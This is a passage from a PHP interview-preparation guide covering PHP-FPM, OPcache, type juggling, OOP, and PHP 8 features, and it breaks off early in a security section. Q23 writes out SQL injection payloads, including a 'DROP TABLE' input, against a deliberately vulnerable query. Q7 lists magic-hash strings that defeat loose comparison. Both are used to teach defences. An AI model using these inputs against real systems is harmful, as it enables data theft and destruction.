What This Guide Covers — and Why 50 Questions Instead of 30
Most PHP interview question lists stop at echo vs print and array_push vs $arr[]. They are either beginner screeners or copy-pasted trivia with no code depth. This guide targets the middle-developer level: candidates who have shipped PHP in production and are interviewing for roles at companies with real engineering standards.
The 50 questions here were selected on three criteria: high appearance frequency across PHP job interviews at product companies and agencies, clear signal value when answered poorly (the interviewer immediately learns something meaningful about your depth), and direct correspondence to the bugs and vulnerabilities that appear in real PHP production code. For each question you get:
- What the interviewer is actually testing — the underlying concept, not just a definition
- The precise answer — mechanism first, implication second, code third
- Follow-up traps — the second question that exposes gaps in a first-pass answer
The 50 questions span ten themes: PHP's execution model and OPcache → type juggling and comparison traps → OOP depth (traits, late static binding, attributes) → PHP 8.x features (match, enums, fibers, readonly) → security (SQL injection, XSS/CSRF, password hashing, SSRF) → performance and caching → error handling and testing → databases and design patterns → tricky PHP output gotchas → and modern concurrency. The FAQ at the end covers the People Also Ask questions that appear for this keyword in search.
PHP Execution Model & Internals (Q1–5)
Q1. What happens between an HTTP request and the first byte of PHP output?
What the interviewer is testing: Whether you understand the full request pipeline — not just that PHP "runs on the server," but exactly how it gets there, where work is cached, and what restarts fresh each request.
The complete pipeline for a typical nginx + PHP-FPM stack:
- Client sends HTTP request to nginx
- nginx matches the location block and forwards to PHP-FPM via FastCGI (unix socket or TCP port)
- PHP-FPM pool manager picks an available worker process (spawned at startup, not per-request)
- Worker checks OPcache shared memory for the compiled bytecode of the requested PHP file
- Cache miss: Zend engine lexes the source → builds an AST → compiles to opcodes → stores in OPcache
- Cache hit: uses the stored opcodes directly — lexing, parsing, and compilation are completely skipped
- Zend VM executes the opcodes, output collected by output buffering
- Response returned to PHP-FPM → nginx → client
The key insight — shared-nothing architecture: PHP workers are persistent processes, but each request gets a completely fresh execution state. All variables, objects, and in-memory data from the previous request are gone. The only persistence between requests is OPcache (opcodes), APCu (user data), sessions, and external stores (Redis, databases). This makes PHP horizontally scalable by default but rules out in-process caching of mutable state.
Q2. How does PHP-FPM work and how do you calculate the correct pm.max_children value?
What the interviewer is testing: Production awareness. Misconfigured PHP-FPM is one of the most common causes of PHP server instability.
PHP-FPM manages a pool of PHP worker processes. Three process management modes exist:
- static: A fixed number of workers always running. Predictable memory usage, no spawn latency. Best for high-traffic servers with consistent load.
- dynamic: Workers scale between
pm.min_spare_serversandpm.max_children. Default mode. Good for variable traffic. - ondemand: Workers created when needed and killed after
pm.process_idle_timeout. Minimal idle memory. Best for low-traffic or many virtual hosts.
; Calculate pm.max_children:
; max_children = available_memory_for_php / average_worker_memory_footprint
;
; Measure actual worker memory:
; ps aux --sort=-%mem | grep php-fpm | awk '{print $6}' | head -10
; Average those values (in KB), then divide your PHP memory budget.
;
; Example: 4GB server, 500MB for OS + nginx, 3500MB for PHP
; Average worker = 35MB → max_children = 3500 / 35 = 100
;
; Critical: pm.max_requests prevents memory leaks in long-lived workers
pm.max_requests = 1000 ; restart worker after 1000 requests
;
; Slow log catches slow PHP execution — invaluable for diagnosis
request_slowlog_timeout = 5s
slowlog = /var/log/php-fpm/slow.log
Follow-up trap: "What happens when all workers are busy?" Requests queue up to listen.backlog limit. Beyond that, nginx returns a 502. The typical failure pattern: traffic spike → all workers processing slow queries → new requests queue → backlog exceeded → 502 Bad Gateway cascade. Monitoring the listen queue and active processes metrics in PHP-FPM's status endpoint (pm.status_path = /status) is the correct way to detect saturation before outages. Alert when active processes consistently exceeds 80% of pm.max_children.
Q3. How does OPcache work and how do you configure it for production?
What the interviewer is testing: Understanding of where PHP's compilation overhead sits and how to eliminate it for every request after the first.
OPcache stores compiled opcodes (the low-level instructions the Zend VM executes) in shared memory. All PHP-FPM workers share this same memory segment. The first request that loads a given PHP file triggers compilation and storage; all subsequent requests reuse the cached opcodes, skipping the lexer, parser, and compiler entirely.
; php.ini — production OPcache settings
opcache.enable=1
opcache.memory_consumption=256 ; MB — increase for large apps (Laravel needs 64-128MB minimum)
opcache.interned_strings_buffer=16 ; shared string pool in MB
opcache.max_accelerated_files=20000 ; must exceed total PHP file count (find . -name "*.php" | wc -l)
opcache.validate_timestamps=0 ; DISABLE in production — never recheck file timestamps
opcache.revalidate_freq=0 ; irrelevant with validate_timestamps=0
opcache.save_comments=1 ; required for PHP Attributes and docblock annotations
opcache.fast_shutdown=1 ; faster request cleanup
; PHP 8.0+ JIT — helps CPU-bound code, minimal benefit for typical web apps
opcache.jit_buffer_size=64M
opcache.jit=1255 ; tracing JIT mode (most aggressive optimization)
Deployment strategy with validate_timestamps=0: Since PHP never re-reads file timestamps, deploying new code does not automatically invalidate the cache. Call opcache_reset() as part of your deploy script, or use a rolling restart of PHP-FPM workers (systemctl reload php8.3-fpm). Many teams use symlink-based deploys where the webroot symlink is atomically updated; calling opcache_reset() immediately after the symlink swap is the cleanest approach.
Q4. How does PHP's garbage collector handle reference cycles?
What the interviewer is testing: Whether you understand why PHP sometimes holds onto memory longer than expected in long-running scripts or complex object graphs.
PHP uses reference counting as its primary memory management strategy: every value has a refcount. When refcount reaches zero, the value is freed immediately. Reference cycles defeat this: two objects pointing to each other will never have their refcount reach zero, even after all external references are removed.
// Cycle that reference counting cannot free
class Node {
public ?Node $next = null;
public ?Node $prev = null;
}
$a = new Node();
$b = new Node();
$a->next = $b;
$b->prev = $a; // cycle
unset($a, $b);
// Both Node instances are still in memory — cyclic GC must collect them
// PHP's cyclic GC:
// 1. Tracks "possible roots" — objects whose refcount decreased but didn't reach 0
// 2. Runs a mark-and-sweep when the buffer reaches 10,000 entries (default)
// 3. Can be tuned or triggered manually:
gc_collect_cycles(); // force collection now
gc_disable(); // disable for code with no cycles (performance gain)
echo gc_status()['runs']; // how many GC cycles have run
In practice: For typical PHP web requests (short-lived, stateless), reference cycles are cleaned up at request end anyway. For CLI scripts processing complex object graphs in a loop — ORM hydration, recursive tree structures — cycles accumulate. Call gc_collect_cycles() periodically in the loop or restructure data to avoid cycles (use IDs instead of object references for back-pointers).
Q5. What are zvals and how does PHP's copy-on-write mechanism work?
What the interviewer is testing: Whether you understand why PHP array/string operations have surprising performance characteristics, and the difference between value assignment and object assignment.
A zval (Zend value) is PHP's internal container for every variable. In PHP 7+, the zval structure is much more compact than in PHP 5 — primitive types (bool, int, float, null) are stored directly in the zval struct with no heap allocation. Only compound types (strings, arrays, objects) involve heap allocation.
Copy-on-write for arrays and strings: When you assign $b = $a where $a is a large array, PHP does not copy the array immediately. Both $a and $b reference the same underlying array structure with a shared refcount of 2. The copy only happens when either variable is modified.
$a = range(1, 1_000_000); // 1M element array, ~32MB
$b = $a; // cheap — no copy, refcount becomes 2
$b[] = 99; // NOW PHP copies the array (copy-on-write trigger)
// $a unchanged, $b has new element
// Objects are different — assignment shares the object HANDLE, not a copy:
class Counter { public int $n = 0; }
$x = new Counter();
$y = $x; // $y and $x point to the SAME Counter object — no copy at all
$y->n = 5; // changes the shared object
echo $x->n; // 5 — same object
// To get an independent object, use clone:
$z = clone $x; // shallow copy of the Counter object
$z->n = 100;
echo $x->n; // 5 — unaffected
Why this matters for performance: Passing large arrays to functions is cheap (no copy) as long as the function doesn't modify the array. The moment you do $arr[] = $value inside a function that received an array by value, PHP copies the entire array. For functions that process large arrays without modification, pass by value is fine; for those that build up a new array, consider passing by reference (&$arr) or returning a new array from the function.
Type System & Loose Comparison Traps (Q6–10)
Q6. How does PHP's type juggling work and what are the most dangerous loose comparison results?
What the interviewer is testing: Whether you have encountered these bugs in production code, not just read about them. Bad type juggling is the source of PHP's worst security vulnerabilities and subtlest logic bugs.
PHP automatically converts types when an operator or function requires it. The rules are not intuitive and changed significantly between PHP 7 and PHP 8. The most dangerous case in PHP 7 was 0 == "foo": PHP would convert the string to an integer (result: 0), giving 0 == 0 → true. In PHP 8 this was fixed: comparing an integer to a non-numeric string now converts the integer to a string ("0" == "foo" → false).
// PHP 7 vs PHP 8 behavior change:
var_dump(0 == "foo"); // PHP 7: true | PHP 8: false (breaking change)
var_dump(0 == ""); // PHP 7: true | PHP 8: false
// Still dangerous in PHP 8 — string-to-string comparisons via scientific notation:
var_dump("1" == "01"); // true — both convert to int: 1 == 1
var_dump("100" == "1e2"); // true — 1e2 = 100.0, "100" = 100.0
var_dump("0" == false); // true — "0" is the ONLY non-empty string that is falsy
var_dump("" == false); // true — empty string is falsy
var_dump("0" == null); // false — null != "0" (null converts to "")
// The switch statement uses == (loose):
switch (0) {
case false: echo "matches false!"; break; // matches! 0 == false
case null: echo "matches null!"; break; // would match! 0 == null
case "": echo "matches empty!"; break; // would match! in PHP 7
}
Rule of thumb for interviews: Know the falsy values in PHP — 0, 0.0, "", "0", [], null, false — and that == will coerce across these boundaries in surprising ways. Always use === unless you specifically intend loose comparison.
Q7. What is the difference between == and === in PHP? Explain the magic hash vulnerability.
What the interviewer is testing: Whether you know when loose comparison becomes a security vulnerability, not just a logic bug.
=== (strict comparison) checks both type and value — no type coercion occurs. == (loose comparison) converts operands to a common type first. For application code, === is the correct default; == is a deliberate choice that should be justified.
// === vs == basics
var_dump(0 === false); // false — different types
var_dump(0 == false); // true — 0 coerces to false
var_dump("1" === 1); // false — different types
var_dump("1" == 1); // true — "1" coerces to int
// The "magic hash" security vulnerability (PHP 7):
// MD5 of "240610708" = "0e462097431906509019562988736854"
// MD5 of "QNKCDZO" = "0e830400451993494058024219903391"
// Both start with "0e" — PHP treats them as scientific notation floats: 0 * 10^N = 0
$hash1 = md5("240610708"); // "0e46209743..."
$hash2 = md5("QNKCDZO"); // "0e83040045..."
if ($hash1 == $hash2) {
echo "MATCH!"; // true — both evaluate to 0.0 == 0.0
}
// CORRECT: always use hash_equals() for security-sensitive comparisons
// It is timing-safe AND uses strict string comparison
if (hash_equals($storedHash, $providedHash)) {
// authenticated
}
// ALSO CORRECT for in-memory comparison where timing is not a concern:
if ($hash1 === $hash2) { ... } // strict — "0e462..." !== "0e830..."
Q8. What are PHP's union types, nullable types, and intersection types?
What the interviewer is testing: Knowledge of PHP's modern type system and the ability to write self-documenting, statically-analyzable code.
// Nullable type (PHP 7.1+) — shorthand for T|null
function findUser(?int $id): ?User {
if ($id === null) return null;
return $this->repository->find($id);
}
// Union types (PHP 8.0+) — accepts multiple types
function process(int|string $id): array|false {
// $id can be int or string
// returns array or false (legacy pattern — prefer null or exceptions)
}
// Intersection types (PHP 8.1+) — must implement ALL listed interfaces
function iterate(Iterator&Countable $collection): void {
echo count($collection); // Countable
foreach ($collection as $item) {} // Iterator
}
// never return type (PHP 8.1+) — function never returns normally (throws or exits)
function redirect(string $url): never {
header("Location: $url");
exit;
}
// DNF (Disjunctive Normal Form) types (PHP 8.2+) — combine union and intersection
function handle((Iterator&Countable)|null $input): void { ... }
// readonly properties with type enforcement (PHP 8.1+)
class Event {
public function __construct(
public readonly string $name,
public readonly \DateTimeImmutable $occurredAt,
) {}
}
Practical tip: Enable strict types in every PHP file: declare(strict_types=1);. With strict types, passing the wrong type to a typed function throws a TypeError instead of silently coercing. This surfaces bugs at the call site rather than deep inside a function where coercion has already happened.
Q9. What is the difference between static::, self::, and parent:: in PHP?
What the interviewer is testing: Whether you have hit the bug that late static binding fixes — and whether you understand why self:: is wrong for factory methods and static properties in inheritance hierarchies.
self:: is resolved at compile time — it always refers to the class where the method is written, regardless of which class is actually called at runtime. static:: is resolved at runtime — it refers to the class that received the call (the "called class"). parent:: refers to the parent of the class where the code is defined.
class Base {
protected static string $type = 'base';
// WRONG for inheritance: self:: always creates a Base, even when called as Child::make()
public static function makeWrong(): static {
return new self(); // compile-time binding — always Base
}
// CORRECT: static:: uses the runtime called class
public static function make(): static {
return new static(); // runtime binding — returns Child when called as Child::make()
}
public static function getType(): string {
return static::$type; // static:: for properties too
}
}
class Child extends Base {
protected static string $type = 'child';
}
$wrong = Child::makeWrong(); // Base instance — bug!
$right = Child::make(); // Child instance — correct
echo Child::getType(); // 'child' — correct (static:: finds Child::$type)
// Also: the `static` return type (PHP 8.0+) documents this contract:
class Builder {
public function withName(string $name): static { // `static` means "the called class"
$clone = clone $this;
$clone->name = $name;
return $clone;
}
}
// SubBuilder extends Builder — withName() returns SubBuilder, not Builder
Q10. How does PHP handle integer overflow? What is PHP_INT_MAX and when does it cause real bugs?
What the interviewer is testing: Awareness of a class of bugs that silently corrupts data on 64-bit servers — and whether you know the correct fix.
echo PHP_INT_MAX; // 9223372036854775807 (on 64-bit)
echo PHP_INT_MIN; // -9223372036854775808
echo PHP_INT_SIZE; // 8 (bytes)
// Overflow silently converts to float — precision lost!
$max = PHP_INT_MAX; // int
$over = PHP_INT_MAX + 1; // float: 9.2233720368548E+18
var_dump($over); // float(9.2233720368548E+18)
// Practical bug: large IDs from external systems
$externalId = 9223372036854775808; // one more than PHP_INT_MAX
// PHP silently stores this as a float, losing precision in the last digits
// Correct handling of arbitrary-precision integers:
echo bcadd('9223372036854775807', '1'); // "9223372036854775808" — exact
echo bcmul('999999999999999999', '2'); // "1999999999999999998" — exact
// Real-world scenario: Unix timestamps in microseconds
// microtime(true) returns float — loses microsecond precision for distant future dates
// Use hrtime(true) (returns nanoseconds as integer) or DateTimeImmutable::format('Uu')
When this matters most: Database bigint IDs, cryptographic operations, financial calculations, Twitter/X snowflake IDs (which exceed PHP_INT_MAX on some platforms). For financial arithmetic, use bcmath or the brick/money library which uses integer cent amounts throughout.
Object-Oriented PHP in Depth (Q11–17)
Q11. How do PHP traits work? What are their conflict resolution rules and common pitfalls?
What the interviewer is testing: Whether you understand that traits are horizontal code reuse, not inheritance — and the specific rules that make them composable without ambiguity.
A trait is a mechanism for code reuse that is copied into a class at compile time. The trait's methods and properties become part of the using class as if they were written there. Unlike inheritance, a class can use multiple traits.
trait Timestamps {
private ?\DateTimeImmutable $createdAt = null;
private ?\DateTimeImmutable $updatedAt = null;
public function touch(): void {
$now = new \DateTimeImmutable();
if ($this->createdAt === null) $this->createdAt = $now;
$this->updatedAt = $now;
}
public function getUpdatedAt(): ?\DateTimeImmutable {
return $this->updatedAt;
}
}
trait SoftDelete {
private ?\DateTimeImmutable $deletedAt = null;
public function delete(): void {
$this->deletedAt = new \DateTimeImmutable();
}
}
class Article {
use Timestamps, SoftDelete; // both traits included
}
// Conflict resolution when two traits define the same method:
trait A { public function hello(): string { return 'A'; } }
trait B { public function hello(): string { return 'B'; } }
class C {
use A, B {
A::hello insteadof B; // use A's hello, ignore B's
B::hello as helloB; // make B's hello available under a different name
}
}
$c = new C();
echo $c->hello(); // 'A'
echo $c->helloB(); // 'B'
Pitfalls: (1) Traits cannot have constructors called from the using class — this breaks dependency injection and makes trait-heavy code difficult to test. (2) If a trait and using class both define the same property name with different defaults, PHP raises a fatal error. (3) Traits make code harder to follow because the method origin is non-obvious to someone reading the class definition — overuse creates "spooky action at a distance." Reserve traits for pure behavior mixins with no state, or use them sparingly.
Q12. What is the difference between abstract classes and interfaces in PHP? When do you use each?
What the interviewer is testing: API design judgment — do you choose based on the relationship between concepts, or just pattern-match on "use interface when..."?
- Interface: A pure contract — only method signatures (and constants). No implementation, no properties. A class can implement multiple interfaces. Use when you want to define a capability that unrelated classes can provide (e.g.,
Stringable,Countable,JsonSerializable). - Abstract class: A partial implementation — can have concrete methods, properties, and a constructor alongside abstract methods. Single inheritance only. Use when you have shared code and a required template (Template Method pattern), or when related classes share state.
// Interface: defines a CAPABILITY — unrelated classes can implement it
interface Exportable {
public function toArray(): array;
public function toJson(): string;
}
// Abstract class: defines a FAMILY — subclasses share code
abstract class BaseRepository {
public function __construct(protected PDO $pdo) {}
// Concrete — all repositories need this
protected function executeQuery(string $sql, array $params = []): \PDOStatement {
$stmt = $this->pdo->prepare($sql);
$stmt->execute($params);
return $stmt;
}
// Abstract — each repository defines its own table and entity class
abstract protected function getTable(): string;
abstract protected function hydrate(array $row): object;
}
class UserRepository extends BaseRepository {
protected function getTable(): string { return 'users'; }
protected function hydrate(array $row): User { return User::fromArray($row); }
}
PHP 8 additions to interfaces: Interfaces can now have class constants with type declarations. PHP 8.0 also added Stringable as a built-in interface: any class with __toString() automatically implements Stringable without declaring it.
Q13. How do you implement a Singleton and a fluent builder correctly using late static binding in PHP?
What the interviewer is testing: Whether you have moved beyond knowing that static:: exists (covered in Q9) to knowing where it causes real bugs in common patterns — specifically Singleton with inheritance and fluent interfaces that break when subclassed.
Q9 established the self:: vs static:: distinction. This question shows two production patterns where using self:: instead of static:: produces a bug that is difficult to find without knowing LSB.
// PATTERN 1: Singleton that works correctly with inheritance
// The self:: version creates the wrong type when subclassed:
class Connection {
private static ?self $instance = null;
protected function __construct(protected string $dsn) {}
public static function getInstance(): static {
if (static::$instance === null) {
static::$instance = new static('default_dsn');
}
return static::$instance;
}
}
class ReadReplicaConnection extends Connection {
private static ?self $instance = null; // separate instance storage for subclass
// Without this property, ReadReplicaConnection::getInstance() would
// store the replica in Connection::$instance, overwriting the primary
}
$primary = Connection::getInstance(); // Connection instance
$replica = ReadReplicaConnection::getInstance(); // ReadReplicaConnection instance (correct)
// With new self() instead of new static(): both would return Connection — wrong type
// PATTERN 2: Fluent builder — the `static` return type (PHP 8.0+)
// Without `static` return type, subclass methods are inaccessible after calling parent methods:
abstract class QueryBuilder {
protected array $conditions = [];
protected ?int $limitValue = null;
public function where(string $condition): static {
$clone = clone $this; // immutable — returns new object, preserves method chain
$clone->conditions[] = $condition;
return $clone; // `static` return type: always returns the actual subclass
}
public function limit(int $n): static {
$clone = clone $this;
$clone->limitValue = $n;
return $clone;
}
abstract public function toSql(): string;
}
class SelectBuilder extends QueryBuilder {
private array $columns = ['*'];
public function select(string ...$cols): static {
$clone = clone $this;
$clone->columns = $cols;
return $clone;
}
public function toSql(): string {
$cols = implode(', ', $this->columns);
$where = $this->conditions ? 'WHERE ' . implode(' AND ', $this->conditions) : '';
$limit = $this->limitValue ? "LIMIT {$this->limitValue}" : '';
return trim("SELECT $cols $where $limit");
}
}
$sql = (new SelectBuilder())
->select('id', 'name') // returns SelectBuilder
->where('active = 1') // returns static (SelectBuilder) — if QueryBuilder returns self, chain breaks
->limit(10) // still SelectBuilder
->toSql();
// "SELECT id, name WHERE active = 1 LIMIT 10"
// Without `static` return type on where()/limit(): PHP's type checker sees QueryBuilder,
// and ->select() would be inaccessible after calling ->where()
Q14. What are anonymous classes in PHP and when are they genuinely useful?
What the interviewer is testing: Whether you use anonymous classes for actual practical purposes — not just whether you know they exist.
// Use case 1: lightweight interface implementation in tests
// Avoid creating a full separate mock class file for a simple interface
$logger = new class implements \Psr\Log\LoggerInterface {
public array $messages = [];
public function log($level, $message, array $context = []): void {
$this->messages[] = "[$level] $message";
}
public function emergency($message, array $context = []): void { $this->log('emergency', $message); }
public function alert($message, array $context = []): void { $this->log('alert', $message); }
// ... other PSR-3 methods
};
$service = new OrderService($logger);
$service->placeOrder($order);
$this->assertContains('[info] Order placed', $logger->messages);
// Use case 2: factory returning a one-off implementation
function createAuditLogger(string $context): LoggerInterface {
return new class($context) implements LoggerInterface {
public function __construct(private string $context) {}
public function log($level, $message, array $ctx = []): void {
echo "[{$this->context}] [$level] $message\n";
}
// ...
};
}
// Use case 3: extending a class inline without polluting namespace
$special = new class(42) extends \SplFixedArray {
public function doubled(): array {
return array_map(fn($x) => $x * 2, (array) $this);
}
};
Q15. What are PHP 8 Attributes (#[Attribute]) and how do they replace docblock annotations?
What the interviewer is testing: Awareness of modern PHP metadata and whether you understand why the community moved away from docblock parsing.
Before PHP 8, frameworks like Doctrine and Symfony used strings inside docblocks (@ORM\Entity, @Route("/path")) that they parsed with regex at runtime. This was fragile, slow, and invisible to PHP's parser — typos were only caught at runtime.
// Defining a custom Attribute
#[Attribute(Attribute::TARGET_CLASS | Attribute::TARGET_METHOD)]
class Route {
public function __construct(
public readonly string $path,
public readonly string $method = 'GET',
) {}
}
// Using the Attribute — validated by PHP's parser, autocompleted by IDEs
#[Route('/users')]
class UserController {
#[Route('/users/{id}', 'GET')]
public function show(int $id): Response { /* ... */ }
#[Route('/users', 'POST')]
public function create(): Response { /* ... */ }
}
// Reading Attributes via Reflection (what frameworks do during compilation/boot)
$ref = new \ReflectionClass(UserController::class);
foreach ($ref->getAttributes(Route::class) as $attr) {
$route = $attr->newInstance(); // instantiates Route::__construct with the attribute arguments
echo "{$route->method} {$route->path}\n"; // GET /users
}
foreach ($ref->getMethods() as $method) {
foreach ($method->getAttributes(Route::class) as $attr) {
$route = $attr->newInstance();
echo "{$route->method} {$route->path}\n";
}
}
Why Attributes are better: They are first-class PHP syntax — the parser validates them, IDEs autocomplete them, and static analyzers (PHPStan, Psalm) understand them. They are real class instantiation: constructor argument types are enforced. OPcache stores them compiled, so there's no regex parsing overhead on each request.
Q16. What are PHP magic methods? When do __get and __set hurt performance?
What the interviewer is testing: Production awareness — magic methods are frequently overused in PHP frameworks, and understanding their cost separates developers who profile from those who guess.
// __get and __set intercept access to non-existent or inaccessible properties
class FlexObject {
private array $data = [];
public function __get(string $name): mixed {
return $this->data[$name] ?? null;
}
public function __set(string $name, mixed $value): void {
$this->data[$name] = $value;
}
public function __isset(string $name): bool {
return isset($this->data[$name]);
}
}
// __call intercepts calls to undefined methods
class Proxy {
public function __construct(private object $target) {}
public function __call(string $name, array $args): mixed {
if (method_exists($this->target, $name)) {
return $this->target->$name(...$args);
}
throw new \BadMethodCallException("Method $name not found");
}
}
// __invoke — object used as a callable
class Multiplier {
public function __construct(private float $factor) {}
public function __invoke(float $value): float { return $value * $this->factor; }
}
$double = new Multiplier(2.0);
echo $double(5.0); // 10.0
array_map($double, [1, 2, 3]); // [2, 4, 6] — object used as callable
Performance cost of __get/__set: Every property access through a magic method is a function call. In a hot loop reading properties of 100,000 objects, replacing magic access with direct typed properties can yield 5–10× speed improvements. Measure with Blackfire or XDebug profiling before optimizing — but know that heavily magic-property-based code (as in some older ActiveRecord implementations) is a known performance bottleneck.
Q17. How does PHP's clone keyword work? What is the difference between shallow and deep cloning?
What the interviewer is testing: Whether you understand the object copy model — a common source of bugs when immutable-style coding patterns are used in PHP.
class Dimensions {
public function __construct(
public int $width,
public int $height,
) {}
}
class Image {
public function __construct(
public string $path,
public Dimensions $dimensions, // object — stored as handle
) {}
}
$original = new Image('/photos/1.jpg', new Dimensions(800, 600));
$copy = clone $original;
// Primitive properties are copied by value:
$copy->path = '/photos/2.jpg';
echo $original->path; // '/photos/1.jpg' — unaffected, correct
// Object properties are copied by handle — both point to the same Dimensions!
$copy->dimensions->width = 1920;
echo $original->dimensions->width; // 1920 — shared object, SURPRISING BUG
// Fix: implement __clone for deep copying of object properties
class Image {
public function __construct(
public string $path,
public Dimensions $dimensions,
) {}
public function __clone(): void {
$this->dimensions = clone $this->dimensions; // deep copy
}
}
$original = new Image('/photos/1.jpg', new Dimensions(800, 600));
$copy = clone $original;
$copy->dimensions->width = 1920;
echo $original->dimensions->width; // 600 — now independent
// Immutable-style mutation using clone:
class Money {
public function __construct(
public readonly int $amount,
public readonly string $currency,
) {}
public function add(int $amount): static {
return new static($this->amount + $amount, $this->currency);
}
}
Modern PHP 8.x Features (Q18–22)
Q18. What is the match expression in PHP 8 and how does it differ from switch?
What the interviewer is testing: Whether you know the concrete behavioral differences — not just "match is better than switch."
$status = 200;
// switch: loose ==, statements (no return value), fall-through, silent no-match
switch ($status) {
case 200:
case 201:
$text = 'Success';
break;
case 404:
$text = 'Not found';
break;
// No default — $text might be undefined!
}
// match: strict ===, expression (returns value), no fall-through, throws on no-match
$text = match($status) {
200, 201 => 'Success',
404 => 'Not found',
500 => 'Server error',
default => throw new \InvalidArgumentException("Unknown status: $status"),
};
// match throws UnhandledMatchError when no arm matches and there is no default:
$result = match(99) {
1 => 'one',
2 => 'two',
// No default — throws UnhandledMatchError: Unhandled match case
};
// match can match on non-scalar subjects via expressions:
$category = match(true) {
$price < 10 => 'cheap',
$price < 100 => 'medium',
default => 'expensive',
};
Summary of differences: match uses strict comparison (no surprise type coercion), each arm is an expression (useful in assignments and ternaries), multiple values share an arm without fall-through syntax, and unhandled cases throw an exception by default rather than silently doing nothing. For new PHP 8+ code, prefer match over switch for all value-branching logic.
Q19. What are named arguments in PHP 8? When do they create backward-compatibility problems?
What the interviewer is testing: Whether you recognize that named arguments make parameter names a public API contract — a subtle but real change to how PHP libraries must be versioned.
// Without named arguments — must pass in correct order, all or nothing
array_slice($array, 2, 5, true);
// With named arguments — self-documenting, order-independent, skip defaults
array_slice(array: $array, offset: 2, length: 5, preserve_keys: true);
// Use case: skipping optional parameters in the middle
function createUser(
string $name,
int $age = 0,
string $role = 'user',
bool $active = true
): User { /* ... */ }
createUser(name: 'Alice', active: false); // skip age and role, set active
// vs. the old way: createUser('Alice', 0, 'user', false) — fragile positional guessing
// BACKWARD COMPATIBILITY TRAP:
// In PHP 7 (or earlier PHP 8):
function doSomething(string $input): void { /* ... */ }
// Library author renames parameter for clarity in next release:
function doSomething(string $value): void { /* ... */ }
// Any caller using named arguments breaks:
doSomething(input: 'hello'); // TypeError: Unknown named argument $input
// Named arguments make parameter names a SEMVER concern for library authors
Practical rule: Use named arguments when passing multiple booleans or options where positional order is hard to remember. Be aware that library authors must treat parameter renames as breaking changes if they support named arguments. Doctrine, Symfony, and Laravel all now document which parameters are part of their stable API.
Q20. What are PHP 8.1 enums? When do you use backed enums vs pure enums?
What the interviewer is testing: Whether you understand what enum gives you beyond integer constants — specifically type safety and the ability to prevent invalid state representation.
// Pure enum — no scalar value, just identity
enum Direction {
case North;
case South;
case East;
case West;
}
// Backed enum — each case maps to a scalar value (string or int)
enum Status: string {
case Active = 'active';
case Inactive = 'inactive';
case Suspended = 'suspended';
}
// Type-safe usage: PHP prevents passing arbitrary strings where Status is required
function setUserStatus(int $userId, Status $status): void {
// $status can ONLY be Status::Active, Status::Inactive, Status::Suspended
$this->db->execute(
"UPDATE users SET status = ? WHERE id = ?",
[$status->value, $userId] // ->value returns 'active', 'inactive', etc.
);
}
setUserStatus(1, Status::Active); // OK
setUserStatus(1, 'active'); // TypeError — string not accepted where Status expected
// from() and tryFrom() for hydration from database/API values:
$status = Status::from('active'); // Status::Active — throws ValueError if not found
$status = Status::tryFrom('invalid'); // null — safe version
$status = Status::tryFrom($row['status']) // null if DB has unexpected value
// Enums can implement interfaces and have methods:
enum Priority: int {
case Low = 1;
case Medium = 5;
case High = 10;
public function isHigherThan(self $other): bool {
return $this->value > $other->value;
}
public function label(): string {
return match($this) {
Priority::Low => 'Low priority',
Priority::Medium => 'Medium priority',
Priority::High => 'High priority',
};
}
}
echo Priority::High->isHigherThan(Priority::Low) ? 'yes' : 'no'; // 'yes'
Q21. What are readonly properties and readonly classes in PHP 8.1 and 8.2?
What the interviewer is testing: Whether you can design Value Objects and DTOs idiomatically in modern PHP — readonly is the correct primitive for immutable data structures.
// PHP 8.1: readonly properties — can be written once, never modified
class User {
public readonly int $id;
public readonly string $email;
public function __construct(int $id, string $email) {
$this->id = $id; // first and only write — allowed
$this->email = $email;
// $this->id = 2; // Fatal: Cannot modify readonly property
}
}
// Constructor promotion + readonly (the idiomatic modern PHP pattern)
class CreateOrderCommand {
public function __construct(
public readonly int $userId,
public readonly array $items,
public readonly string $shippingAddress,
) {}
}
$cmd = new CreateOrderCommand(userId: 1, items: [/* ... */], shippingAddress: '...');
// $cmd->userId = 2; // Fatal — immutable after construction
// PHP 8.2: readonly classes — all promoted properties implicitly readonly
readonly class Money {
public function __construct(
public int $amount, // implicitly readonly
public string $currency, // implicitly readonly
) {}
public function add(Money $other): static {
if ($this->currency !== $other->currency) {
throw new \DomainException('Currency mismatch');
}
return new static($this->amount + $other->amount, $this->currency);
}
}
// Limitation: readonly properties cannot have default values
// and cannot be unset or reassigned — including in clone
// To "modify" a readonly object, create a new instance
Q22. What are PHP 8.1 Fibers and how do they enable cooperative concurrency?
What the interviewer is testing: Whether you understand the conceptual model of PHP's lowest-level concurrency primitive — and how it differs from both threads and generators.
// Fiber: a unit of execution that can be paused and resumed from outside
$fiber = new Fiber(function(): string {
echo "Fiber started\n";
$received = Fiber::suspend('first yield'); // pause, return value to caller
echo "Fiber resumed with: $received\n";
$received = Fiber::suspend('second yield'); // pause again
echo "Fiber resumed with: $received\n";
return 'fiber done'; // final return
});
$val1 = $fiber->start(); // "Fiber started" → $val1 = 'first yield'
$val2 = $fiber->resume('hello'); // "Fiber resumed with: hello" → $val2 = 'second yield'
$fiber->resume('world'); // "Fiber resumed with: world" → fiber completes
echo $fiber->getReturn(); // 'fiber done'
echo $fiber->isTerminated() ? "terminated\n" : "still running\n";
// KEY difference from generators:
// Fibers can suspend from ANYWHERE in the call stack,
// not just at the top-level yield.
// This enables async/await-style programming deep in nested function calls.
// How ReactPHP and Revolt use Fibers:
// The event loop wraps each handler in a Fiber.
// When the handler calls await($promise), it actually calls Fiber::suspend().
// The event loop resumes other Fibers while waiting for I/O.
// When I/O completes, the event loop resumes the original Fiber.
// Result: you write synchronous-looking code that runs non-blocking.
Fibers vs generators: Generators yield values from the function's perspective (caller pulls). Fibers are controlled from outside — any code can resume a fiber. This makes Fibers suitable as the foundation for event loop schedulers, while generators work well for pull-based data pipelines.
Security — The Questions Middle PHP Developers Most Often Fail (Q23–28)
Q23. How does SQL injection work in PHP and what exactly prevents it with prepared statements?
What the interviewer is testing: Precise understanding of the mechanism — not just "use prepared statements" but why they work and what they do not protect against.
// VULNERABLE: user input interpolated directly into SQL
$id = $_GET['id'];
$result = $pdo->query("SELECT * FROM users WHERE id = $id")->fetchAll();
// Attacker sends: id=1 OR 1=1 → returns ALL users
// Attacker sends: id=1; DROP TABLE users; -- → destroys table
// CORRECT: prepared statements with parameter binding
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]); // $id is ALWAYS treated as data, never as SQL
// Named parameters (better for multiple parameters and readability):
